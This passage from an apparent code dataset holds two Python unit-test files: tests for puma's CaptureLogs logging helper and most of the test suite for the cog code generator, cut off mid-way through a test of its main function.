source
stringlengths 3
86
| python
stringlengths 75
1.04M
|
|---|---|
capture_logs_test.py
|
import logging
import os
import tempfile
from pathlib import Path
from threading import Thread
from typing import Callable
from unittest import TestCase
from puma.helpers.testing.logging.capture_logs import CaptureLogs
from puma.logging import LogLevel, Logging
from tests.logging.capture_logs_test_secondary import log_in_secondary_module
class CaptureLogsTest(TestCase):
def setUp(self) -> None:
Logging.reset_logging()
self._logger = logging.getLogger(__name__)
self._logger.setLevel(logging.DEBUG)
def tearDown(self) -> None:
Logging.reset_logging()
def test_get_lines(self) -> None:
with CaptureLogs(LogLevel.debug) as log_context:
self._logger.debug("Instance")
records = log_context.pop_captured_records()
self.assertEqual(['Instance'], records.get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(['DEBUG - Instance'], records.get_lines(timestamp=False, level=True, line_separators=False))
self.assertEqual(['DEBUG - Instance\n'], records.get_lines(timestamp=False, level=True, line_separators=True))
timestamped = records.get_lines(timestamp=True, level=False, line_separators=False)
self.assertEqual(1, len(timestamped))
self.assertRegex(timestamped[0], r'[0-9,\.]* - Instance')
self.assertEqual(['**Instance'], records.get_lines(prefix='**', timestamp=False, level=False, line_separators=False))
def test_containing_message(self) -> None:
with CaptureLogs(LogLevel.debug) as log_context:
self._logger.debug("Instance 1")
self._logger.warning("Instance 2")
self._logger.warning("An Inst")
self._logger.warning("instance")
self._logger.error("An Instance 3")
records = log_context.pop_captured_records()
self.assertEqual(['Instance 1', 'Instance 2', 'An Instance 3'],
records.containing_message("Instance").get_lines(timestamp=False, level=False, line_separators=False))
def test_with_levels_in(self) -> None:
with CaptureLogs(LogLevel.debug) as log_context:
self._logger.debug("debug 1")
self._logger.warning("warning 1")
self._logger.error("error 1")
self._logger.debug("debug 2")
self._logger.warning("warning 2")
self._logger.error("error 2")
records = log_context.pop_captured_records()
self.assertEqual(['debug 1', 'error 1', 'debug 2', 'error 2'],
records.with_levels_in({LogLevel.debug, LogLevel.error}).get_lines(timestamp=False, level=False, line_separators=False))
def test_from_module(self) -> None:
with CaptureLogs(LogLevel.debug) as log_context:
self._logger.debug("debug 1")
log_in_secondary_module("debug 2")
records = log_context.pop_captured_records()
self.assertEqual(['debug 2'],
records.from_module('capture_logs_test_secondary').get_lines(timestamp=False, level=False, line_separators=False))
def test_from_package(self) -> None:
logger_abc = logging.getLogger('a.b.c.file')
logger_abc.setLevel(logging.DEBUG)
with CaptureLogs(LogLevel.debug) as log_context:
logger_abd = logging.getLogger('a.b.d.file')
logger_abd.setLevel(logging.DEBUG)
logger_xyz = logging.getLogger('x.y.z.file')
logger_xyz.setLevel(logging.DEBUG)
logger_abc.debug("debug 1")
logger_abd.debug("debug 2")
logger_xyz.debug("debug 3")
records = log_context.pop_captured_records()
self.assertEqual(['debug 1'],
records.from_package('a.b.c').get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(['debug 1', 'debug 2'],
records.from_package('a.b').get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_default_is_debug(self) -> None:
with CaptureLogs() as log_context:
self._log_stuff()
records = log_context.pop_captured_records()
self.assertEqual(["This is debug"],
records.containing_message("This is debug").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is warning"],
records.containing_message("This is warning").with_levels_in({LogLevel.warn}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is error"],
records.containing_message("This is error").with_levels_in({LogLevel.error}).get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_warn(self) -> None:
with CaptureLogs(LogLevel.warn) as log_context:
self._log_stuff()
records = log_context.pop_captured_records()
self.assertEqual([],
records.containing_message("This is debug").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is warning"],
records.containing_message("This is warning").with_levels_in({LogLevel.warn}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is error"],
records.containing_message("This is error").with_levels_in({LogLevel.error}).get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_error(self) -> None:
with CaptureLogs(LogLevel.error) as log_context:
self._log_stuff()
records = log_context.pop_captured_records()
self.assertEqual([],
records.containing_message("This is debug").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual([],
records.containing_message("This is warning").with_levels_in({LogLevel.warn}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is error"],
records.containing_message("This is error").with_levels_in({LogLevel.error}).get_lines(timestamp=False, level=False, line_separators=False))
def test_restricted_by_logger_level(self) -> None:
with CaptureLogs(LogLevel.debug) as log_context:
self._logger.setLevel(logging.DEBUG)
self._logger.debug("debug 1")
self._logger.warning("warning 1")
self._logger.setLevel(logging.WARN)
self._logger.debug("debug 2")
self._logger.warning("warning 2")
records = log_context.pop_captured_records()
self.assertEqual(["debug 1", "warning 1", "warning 2"],
records.get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_empty(self) -> None:
with CaptureLogs() as log_context:
records = log_context.pop_captured_records()
self.assertFalse(records) # calls CapturedRecords.__bool__
self.assertEqual(0, len(records))
def test_log_content_not_empty(self) -> None:
with CaptureLogs() as log_context:
self._log_stuff()
records = log_context.pop_captured_records()
self.assertTrue(records) # calls CapturedRecords.__bool__
self.assertEqual(3, len(records))
def test_log_content_sequential(self) -> None:
self._logger.debug("Message 1")
with CaptureLogs() as log_context:
self._logger.debug("Message 2")
records = log_context.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 2"],
records.containing_message("Message 2").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self._logger.debug("Message 3")
with CaptureLogs() as log_context:
self._logger.debug("Message 4")
records = log_context.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 2").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 3").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 4"],
records.containing_message("Message 4").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_sequential_with_reinitialise(self) -> None:
# During testing, LoggingUtils.init_logging() may be called by each test, so the capture mechanism needs to cope with this
Logging.init_logging()
self._logger.debug("Message 1")
with CaptureLogs() as log_context:
self._logger.debug("Message 2")
records = log_context.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 2"],
records.containing_message("Message 2").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
Logging.init_logging()
self._logger.debug("Message 3")
with CaptureLogs() as log_context:
self._logger.debug("Message 4")
records = log_context.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 2").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 3").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 4"],
records.containing_message("Message 4").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_nested_without_nested_capture_context(self) -> None:
self._logger.debug("Message 1")
with CaptureLogs() as log_context_1:
self._logger.debug("Message 2")
with CaptureLogs() as log_context_2:
self._logger.debug("Message 3")
records = log_context_2.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 2").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 3"],
records.containing_message("Message 3").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
records = log_context_1.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 2"],
records.containing_message("Message 2").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["Message 3"],
records.containing_message("Message 3").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_nested_with_nested_capture_context_disabled(self) -> None:
self._logger.debug("Message 1")
with CaptureLogs() as log_context_1:
self._logger.debug("Message 2")
with log_context_1.nested_capture_context(shield_parent=False) as log_context_2:
self._logger.debug("Message 3")
records = log_context_2.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 2").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 3"],
records.containing_message("Message 3").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
records = log_context_1.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 2"],
records.containing_message("Message 2").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["Message 3"],
records.containing_message("Message 3").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
def test_log_content_nested_with_nested_capture_context_enabled(self) -> None:
self._logger.debug("Message 1")
with CaptureLogs() as log_context_1:
self._logger.debug("Message 2")
with log_context_1.nested_capture_context(shield_parent=True) as log_context_2:
self._logger.debug("Message 3")
records = log_context_2.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertFalse(records.containing_message("Message 2").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 3"],
records.containing_message("Message 3").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
records = log_context_1.pop_captured_records()
self.assertFalse(records.containing_message("Message 1").with_levels_in({LogLevel.debug}))
self.assertEqual(["Message 2"],
records.containing_message("Message 2").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertFalse(records.containing_message("Message 3").with_levels_in({LogLevel.debug}))
def test_log_content_from_thread(self) -> None:
with CaptureLogs() as log_context:
self._run_in_thread(self._log_stuff)
records = log_context.pop_captured_records()
self.assertEqual(["This is debug"],
records.containing_message("This is debug").with_levels_in({LogLevel.debug}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is warning"],
records.containing_message("This is warning").with_levels_in({LogLevel.warn}).get_lines(timestamp=False, level=False, line_separators=False))
self.assertEqual(["This is error"],
records.containing_message("This is error").with_levels_in({LogLevel.error}).get_lines(timestamp=False, level=False, line_separators=False))
# Logging from processes is not expected to work unless using ProcessRunner, which implements a special logging mechanism.
# This is tested in ThreadAndProcessRunnersLoggingSlowTest.
def test_save_captured_lines(self) -> None:
handle, path = tempfile.mkstemp(text=True)
os.close(handle)
try:
with CaptureLogs() as log_context:
self._log_stuff()
records = log_context.pop_captured_records()
records.save_lines_to_file(path)
with open(path) as f:
lines = f.readlines()
self.assertEqual(3, len(lines))
self.assertTrue(lines[0].find("This is debug") >= 0)
self.assertTrue(lines[1].find("This is warning") >= 0)
self.assertTrue(lines[2].find("This is error") >= 0)
finally:
Path(path).unlink()
@staticmethod
def _run_in_thread(target: Callable[[], None]) -> None:
thread = Thread(target=target)
thread.start()
thread.join()
def _log_stuff(self) -> None:
self._logger.debug("This is %s", "debug")
self._logger.warning("This is warning")
self._logger.error("This is error")
|
test_cogapp.py
|
""" Test cogapp.
http://nedbatchelder.com/code/cog
Copyright 2004-2019, Ned Batchelder.
"""
from __future__ import absolute_import
import os
import os.path
import random
import re
import shutil
import stat
import sys
import tempfile
import threading
from .backward import StringIO, to_bytes, TestCase, PY3
from .cogapp import Cog, CogOptions, CogGenerator
from .cogapp import CogError, CogUsageError, CogGeneratedError, CogUserException
from .cogapp import usage, __version__, main
from .makefiles import *
from .whiteutils import reindentBlock
class CogTestsInMemory(TestCase):
""" Test cases for cogapp.Cog()
"""
def testNoCog(self):
strings = [
'',
' ',
' \t \t \tx',
'hello',
'the cat\nin the\nhat.',
'Horton\n\tHears A\n\t\tWho'
]
for s in strings:
self.assertEqual(Cog().processString(s), s)
def testSimple(self):
infile = """\
Some text.
//[[[cog
import cog
cog.outl("This is line one\\n")
cog.outl("This is line two")
//]]]
gobbledegook.
//[[[end]]]
epilogue.
"""
outfile = """\
Some text.
//[[[cog
import cog
cog.outl("This is line one\\n")
cog.outl("This is line two")
//]]]
This is line one
This is line two
//[[[end]]]
epilogue.
"""
self.assertEqual(Cog().processString(infile), outfile)
def testEmptyCog(self):
# The cog clause can be totally empty. Not sure why you'd want it,
# but it works.
infile = """\
hello
//[[[cog
//]]]
//[[[end]]]
goodbye
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testMultipleCogs(self):
# One file can have many cog chunks, even abutting each other.
infile = """\
//[[[cog
cog.out("chunk1")
//]]]
chunk1
//[[[end]]]
//[[[cog
cog.out("chunk2")
//]]]
chunk2
//[[[end]]]
between chunks
//[[[cog
cog.out("chunk3")
//]]]
chunk3
//[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testTrimBlankLines(self):
infile = """\
//[[[cog
cog.out("This is line one\\n", trimblanklines=True)
cog.out('''
This is line two
''', dedent=True, trimblanklines=True)
cog.outl("This is line three", trimblanklines=True)
//]]]
This is line one
This is line two
This is line three
//[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testTrimEmptyBlankLines(self):
infile = """\
//[[[cog
cog.out("This is line one\\n", trimblanklines=True)
cog.out('''
This is line two
''', dedent=True, trimblanklines=True)
cog.out('', dedent=True, trimblanklines=True)
cog.outl("This is line three", trimblanklines=True)
//]]]
This is line one
This is line two
This is line three
//[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testTrimBlankLinesWithLastPartial(self):
infile = """\
//[[[cog
cog.out("This is line one\\n", trimblanklines=True)
cog.out("\\nLine two\\nLine three", trimblanklines=True)
//]]]
This is line one
Line two
Line three
//[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testCogOutDedent(self):
infile = """\
//[[[cog
cog.out("This is the first line\\n")
cog.out('''
This is dedent=True 1
This is dedent=True 2
''', dedent=True, trimblanklines=True)
cog.out('''
This is dedent=False 1
This is dedent=False 2
''', dedent=False, trimblanklines=True)
cog.out('''
This is dedent=default 1
This is dedent=default 2
''', trimblanklines=True)
cog.out("This is the last line\\n")
//]]]
This is the first line
This is dedent=True 1
This is dedent=True 2
This is dedent=False 1
This is dedent=False 2
This is dedent=default 1
This is dedent=default 2
This is the last line
//[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def test22EndOfLine(self):
# In Python 2.2, this cog file was not parsing because the
# last line is indented but didn't end with a newline.
infile = """\
//[[[cog
import cog
for i in range(3):
cog.out("%d\\n" % i)
//]]]
0
1
2
//[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testIndentedCode(self):
infile = """\
first line
[[[cog
import cog
for i in range(3):
cog.out("xx%d\\n" % i)
]]]
xx0
xx1
xx2
[[[end]]]
last line
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testPrefixedCode(self):
infile = """\
--[[[cog
--import cog
--for i in range(3):
-- cog.out("xx%d\\n" % i)
--]]]
xx0
xx1
xx2
--[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testPrefixedIndentedCode(self):
infile = """\
prologue
--[[[cog
-- import cog
-- for i in range(3):
-- cog.out("xy%d\\n" % i)
--]]]
xy0
xy1
xy2
--[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testBogusPrefixMatch(self):
infile = """\
prologue
#[[[cog
import cog
# This comment should not be clobbered by removing the pound sign.
for i in range(3):
cog.out("xy%d\\n" % i)
#]]]
xy0
xy1
xy2
#[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testNoFinalNewline(self):
# If the cog'ed output has no final newline,
# it shouldn't eat up the cog terminator.
infile = """\
prologue
[[[cog
import cog
for i in range(3):
cog.out("%d" % i)
]]]
012
[[[end]]]
epilogue
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testNoOutputAtAll(self):
# If there is absolutely no cog output, that's ok.
infile = """\
prologue
[[[cog
i = 1
]]]
[[[end]]]
epilogue
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testPurelyBlankLine(self):
# If there is a blank line in the cog code with no whitespace
# prefix, that should be OK.
infile = """\
prologue
[[[cog
import sys
cog.out("Hello")
$
cog.out("There")
]]]
HelloThere
[[[end]]]
epilogue
"""
infile = reindentBlock(infile.replace('$', ''))
self.assertEqual(Cog().processString(infile), infile)
def testEmptyOutl(self):
# Alexander Belchenko suggested the string argument to outl should
# be optional. Does it work?
infile = """\
prologue
[[[cog
cog.outl("x")
cog.outl()
cog.outl("y")
cog.out() # Also optional, a complete no-op.
cog.outl(trimblanklines=True)
cog.outl("z")
]]]
x
y
z
[[[end]]]
epilogue
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testFirstLineNum(self):
infile = """\
fooey
[[[cog
cog.outl("started at line number %d" % cog.firstLineNum)
]]]
started at line number 2
[[[end]]]
blah blah
[[[cog
cog.outl("and again at line %d" % cog.firstLineNum)
]]]
and again at line 8
[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
def testCompactOneLineCode(self):
infile = """\
first line
hey: [[[cog cog.outl("hello %d" % (3*3*3*3)) ]]] looky!
get rid of this!
[[[end]]]
last line
"""
outfile = """\
first line
hey: [[[cog cog.outl("hello %d" % (3*3*3*3)) ]]] looky!
hello 81
[[[end]]]
last line
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), reindentBlock(outfile))
def testInsideOutCompact(self):
infile = """\
first line
hey?: ]]] what is this? [[[cog strange!
get rid of this!
[[[end]]]
last line
"""
with self.assertRaisesRegex(CogError, r"^infile.txt\(2\): Cog code markers inverted$"):
Cog().processString(reindentBlock(infile), "infile.txt")
def testSharingGlobals(self):
infile = """\
first line
hey: [[[cog s="hey there" ]]] looky!
[[[end]]]
more literal junk.
[[[cog cog.outl(s) ]]]
[[[end]]]
last line
"""
outfile = """\
first line
hey: [[[cog s="hey there" ]]] looky!
[[[end]]]
more literal junk.
[[[cog cog.outl(s) ]]]
hey there
[[[end]]]
last line
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), reindentBlock(outfile))
def testAssertInCogCode(self):
# Check that we can test assertions in cog code in the test framework.
infile = """\
[[[cog
assert 1 == 2, "Oops"
]]]
[[[end]]]
"""
infile = reindentBlock(infile)
with self.assertRaisesRegex(CogUserException, "AssertionError: Oops"):
Cog().processString(infile)
def testCogPrevious(self):
# Check that we can access the previous run's output.
infile = """\
[[[cog
assert cog.previous == "Hello there!\\n", "WTF??"
cog.out(cog.previous)
cog.outl("Ran again!")
]]]
Hello there!
[[[end]]]
"""
outfile = """\
[[[cog
assert cog.previous == "Hello there!\\n", "WTF??"
cog.out(cog.previous)
cog.outl("Ran again!")
]]]
Hello there!
Ran again!
[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), reindentBlock(outfile))
class CogOptionsTests(TestCase):
""" Test the CogOptions class.
"""
def testEquality(self):
o = CogOptions()
p = CogOptions()
self.assertEqual(o, p)
o.parseArgs(['-r'])
self.assertNotEqual(o, p)
p.parseArgs(['-r'])
self.assertEqual(o, p)
def testCloning(self):
o = CogOptions()
o.parseArgs(['-I', 'fooey', '-I', 'booey', '-s', ' /*x*/'])
p = o.clone()
self.assertEqual(o, p)
p.parseArgs(['-I', 'huey', '-D', 'foo=quux'])
self.assertNotEqual(o, p)
q = CogOptions()
q.parseArgs(['-I', 'fooey', '-I', 'booey', '-s', ' /*x*/', '-I', 'huey', '-D', 'foo=quux'])
self.assertEqual(p, q)
def testCombiningFlags(self):
# Single-character flags can be combined.
o = CogOptions()
o.parseArgs(['-e', '-r', '-z'])
p = CogOptions()
p.parseArgs(['-erz'])
self.assertEqual(o, p)
def testMarkers(self):
o = CogOptions()
o._parse_markers('a b c')
self.assertEqual('a', o.sBeginSpec)
self.assertEqual('b', o.sEndSpec)
self.assertEqual('c', o.sEndOutput)
def testMarkersSwitch(self):
o = CogOptions()
o.parseArgs(['--markers', 'a b c'])
self.assertEqual('a', o.sBeginSpec)
self.assertEqual('b', o.sEndSpec)
self.assertEqual('c', o.sEndOutput)
class FileStructureTests(TestCase):
""" Test cases to check that we're properly strict about the structure
of files.
"""
def isBad(self, infile, msg=None):
infile = reindentBlock(infile)
with self.assertRaisesRegex(CogError, "^"+re.escape(msg)+"$"):
Cog().processString(infile, 'infile.txt')
def testBeginNoEnd(self):
infile = """\
Fooey
#[[[cog
cog.outl('hello')
"""
self.isBad(infile, "infile.txt(2): Cog block begun but never ended.")
def testNoEoo(self):
infile = """\
Fooey
#[[[cog
cog.outl('hello')
#]]]
"""
self.isBad(infile, "infile.txt(4): Missing '[[[end]]]' before end of file.")
infile2 = """\
Fooey
#[[[cog
cog.outl('hello')
#]]]
#[[[cog
cog.outl('goodbye')
#]]]
"""
self.isBad(infile2, "infile.txt(5): Unexpected '[[[cog'")
def testStartWithEnd(self):
infile = """\
#]]]
"""
self.isBad(infile, "infile.txt(1): Unexpected ']]]'")
infile2 = """\
#[[[cog
cog.outl('hello')
#]]]
#[[[end]]]
#]]]
"""
self.isBad(infile2, "infile.txt(5): Unexpected ']]]'")
def testStartWithEoo(self):
infile = """\
#[[[end]]]
"""
self.isBad(infile, "infile.txt(1): Unexpected '[[[end]]]'")
infile2 = """\
#[[[cog
cog.outl('hello')
#]]]
#[[[end]]]
#[[[end]]]
"""
self.isBad(infile2, "infile.txt(5): Unexpected '[[[end]]]'")
def testNoEnd(self):
infile = """\
#[[[cog
cog.outl("hello")
#[[[end]]]
"""
self.isBad(infile, "infile.txt(3): Unexpected '[[[end]]]'")
infile2 = """\
#[[[cog
cog.outl('hello')
#]]]
#[[[end]]]
#[[[cog
cog.outl("hello")
#[[[end]]]
"""
self.isBad(infile2, "infile.txt(7): Unexpected '[[[end]]]'")
def testTwoBegins(self):
infile = """\
#[[[cog
#[[[cog
cog.outl("hello")
#]]]
#[[[end]]]
"""
self.isBad(infile, "infile.txt(2): Unexpected '[[[cog'")
infile2 = """\
#[[[cog
cog.outl("hello")
#]]]
#[[[end]]]
#[[[cog
#[[[cog
cog.outl("hello")
#]]]
#[[[end]]]
"""
self.isBad(infile2, "infile.txt(6): Unexpected '[[[cog'")
def testTwoEnds(self):
infile = """\
#[[[cog
cog.outl("hello")
#]]]
#]]]
#[[[end]]]
"""
self.isBad(infile, "infile.txt(4): Unexpected ']]]'")
infile2 = """\
#[[[cog
cog.outl("hello")
#]]]
#[[[end]]]
#[[[cog
cog.outl("hello")
#]]]
#]]]
#[[[end]]]
"""
self.isBad(infile2, "infile.txt(8): Unexpected ']]]'")
class CogErrorTests(TestCase):
""" Test cases for cog.error().
"""
def testErrorMsg(self):
infile = """\
[[[cog cog.error("This ain't right!")]]]
[[[end]]]
"""
infile = reindentBlock(infile)
with self.assertRaisesRegex(CogGeneratedError, "^This ain't right!$"):
Cog().processString(infile)
def testErrorNoMsg(self):
infile = """\
[[[cog cog.error()]]]
[[[end]]]
"""
infile = reindentBlock(infile)
with self.assertRaisesRegex(CogGeneratedError, "^Error raised by cog generator.$"):
Cog().processString(infile)
def testNoErrorIfErrorNotCalled(self):
infile = """\
--[[[cog
--import cog
--for i in range(3):
-- if i > 10:
-- cog.error("Something is amiss!")
-- cog.out("xx%d\\n" % i)
--]]]
xx0
xx1
xx2
--[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(Cog().processString(infile), infile)
class CogGeneratorGetCodeTests(TestCase):
""" Unit tests against CogGenerator to see if its getCode() method works
properly.
"""
def setUp(self):
""" All tests get a generator to use, and short same-length names for
the functions we're going to use.
"""
self.gen = CogGenerator()
self.m = self.gen.parseMarker
self.l = self.gen.parseLine
def testEmpty(self):
self.m('// [[[cog')
self.m('// ]]]')
self.assertEqual(self.gen.getCode(), '')
def testSimple(self):
self.m('// [[[cog')
self.l(' print "hello"')
self.l(' print "bye"')
self.m('// ]]]')
self.assertEqual(self.gen.getCode(), 'print "hello"\nprint "bye"')
def testCompressed1(self):
# For a while, I supported compressed code blocks, but no longer.
self.m('// [[[cog: print """')
self.l('// hello')
self.l('// bye')
self.m('// """)]]]')
self.assertEqual(self.gen.getCode(), 'hello\nbye')
def testCompressed2(self):
# For a while, I supported compressed code blocks, but no longer.
self.m('// [[[cog: print """')
self.l('hello')
self.l('bye')
self.m('// """)]]]')
self.assertEqual(self.gen.getCode(), 'hello\nbye')
def testCompressed3(self):
# For a while, I supported compressed code blocks, but no longer.
self.m('// [[[cog')
self.l('print """hello')
self.l('bye')
self.m('// """)]]]')
self.assertEqual(self.gen.getCode(), 'print """hello\nbye')
def testCompressed4(self):
# For a while, I supported compressed code blocks, but no longer.
self.m('// [[[cog: print """')
self.l('hello')
self.l('bye""")')
self.m('// ]]]')
self.assertEqual(self.gen.getCode(), 'hello\nbye""")')
def testNoCommonPrefixForMarkers(self):
# It's important to be able to use #if 0 to hide lines from a
# C++ compiler.
self.m('#if 0 //[[[cog')
self.l('\timport cog, sys')
self.l('')
self.l('\tprint sys.argv')
self.m('#endif //]]]')
self.assertEqual(self.gen.getCode(), 'import cog, sys\n\nprint sys.argv')
class TestCaseWithTempDir(TestCase):
def newCog(self):
""" Initialize the cog members for another run.
"""
# Create a cog engine, and catch its output.
self.cog = Cog()
self.output = StringIO()
self.cog.setOutput(stdout=self.output, stderr=self.output)
def setUp(self):
# Create a temporary directory.
self.tempdir = os.path.join(tempfile.gettempdir(), 'testcog_tempdir_' + str(random.random())[2:])
os.mkdir(self.tempdir)
self.olddir = os.getcwd()
os.chdir(self.tempdir)
self.newCog()
def tearDown(self):
os.chdir(self.olddir)
# Get rid of the temporary directory.
shutil.rmtree(self.tempdir)
def assertFilesSame(self, sFName1, sFName2):
text1 = open(os.path.join(self.tempdir, sFName1), 'rb').read()
text2 = open(os.path.join(self.tempdir, sFName2), 'rb').read()
self.assertEqual(text1, text2)
def assertFileContent(self, sFName, sContent):
sAbsName = os.path.join(self.tempdir, sFName)
f = open(sAbsName, 'rb')
try:
sFileContent = f.read()
finally:
f.close()
self.assertEqual(sFileContent, to_bytes(sContent))
class ArgumentHandlingTests(TestCaseWithTempDir):
def testArgumentFailure(self):
# Return value 2 means usage problem.
self.assertEqual(self.cog.main(['argv0', '-j']), 2)
output = self.output.getvalue()
self.assertIn("option -j not recognized", output)
with self.assertRaisesRegex(CogUsageError, r"^No files to process$"):
self.cog.callableMain(['argv0'])
with self.assertRaisesRegex(CogUsageError, r"^option -j not recognized$"):
self.cog.callableMain(['argv0', '-j'])
def testNoDashOAndAtFile(self):
d = {
'cogfiles.txt': """\
# Please run cog
"""
}
makeFiles(d)
with self.assertRaisesRegex(CogUsageError, r"^Can't use -o with @file$"):
self.cog.callableMain(['argv0', '-o', 'foo', '@cogfiles.txt'])
def testDashV(self):
self.assertEqual(self.cog.main(['argv0', '-v']), 0)
output = self.output.getvalue()
self.assertEqual('Cog version %s\n' % __version__, output)
def producesHelp(self, args):
self.newCog()
argv = ['argv0'] + args.split()
self.assertEqual(self.cog.main(argv), 0)
self.assertEqual(usage, self.output.getvalue())
def testDashH(self):
# -h or -? anywhere on the command line should just print help.
self.producesHelp("-h")
self.producesHelp("-?")
self.producesHelp("fooey.txt -h")
self.producesHelp("-o -r @fooey.txt -? @booey.txt")
def testDashOAndDashR(self):
d = {
'cogfile.txt': """\
# Please run cog
"""
}
makeFiles(d)
with self.assertRaisesRegex(CogUsageError, r"^Can't use -o with -r \(they are opposites\)$"):
self.cog.callableMain(['argv0', '-o', 'foo', '-r', 'cogfile.txt'])
def testDashZ(self):
d = {
'test.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
""",
'test.out': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
void DoSomething();
void DoAnotherThing();
void DoLastThing();
""",
}
makeFiles(d)
with self.assertRaisesRegex(CogError, r"^test.cog\(6\): Missing '\[\[\[end\]\]\]' before end of file.$"):
self.cog.callableMain(['argv0', '-r', 'test.cog'])
self.newCog()
self.cog.callableMain(['argv0', '-r', '-z', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testBadDashD(self):
with self.assertRaisesRegex(CogUsageError, r"^-D takes a name=value argument$"):
self.cog.callableMain(['argv0', '-Dfooey', 'cog.txt'])
with self.assertRaisesRegex(CogUsageError, r"^-D takes a name=value argument$"):
self.cog.callableMain(['argv0', '-D', 'fooey', 'cog.txt'])
def testBadMarkers(self):
with self.assertRaisesRegex(CogUsageError, r"^--markers requires 3 values separated by spaces, could not parse 'X'$"):
self.cog.callableMain(['argv0', '--markers=X'])
with self.assertRaisesRegex(CogUsageError, r"^--markers requires 3 values separated by spaces, could not parse 'A B C D'$"):
self.cog.callableMain(['argv0', '--markers=A B C D'])
class TestMain(TestCaseWithTempDir):
def setUp(self):
super(TestMain, self).setUp()
self.old_argv = sys.argv[:]
self.old_stderr = sys.stderr
sys.stderr = StringIO()
def tearDown(self):
sys.stderr = self.old_stderr
sys.argv = self.old_argv
sys.modules.pop('mycode', None)
super(TestMain, self).tearDown()
def test_main_function(self):
sys.argv = ["argv0", "-Z"]
ret = main()
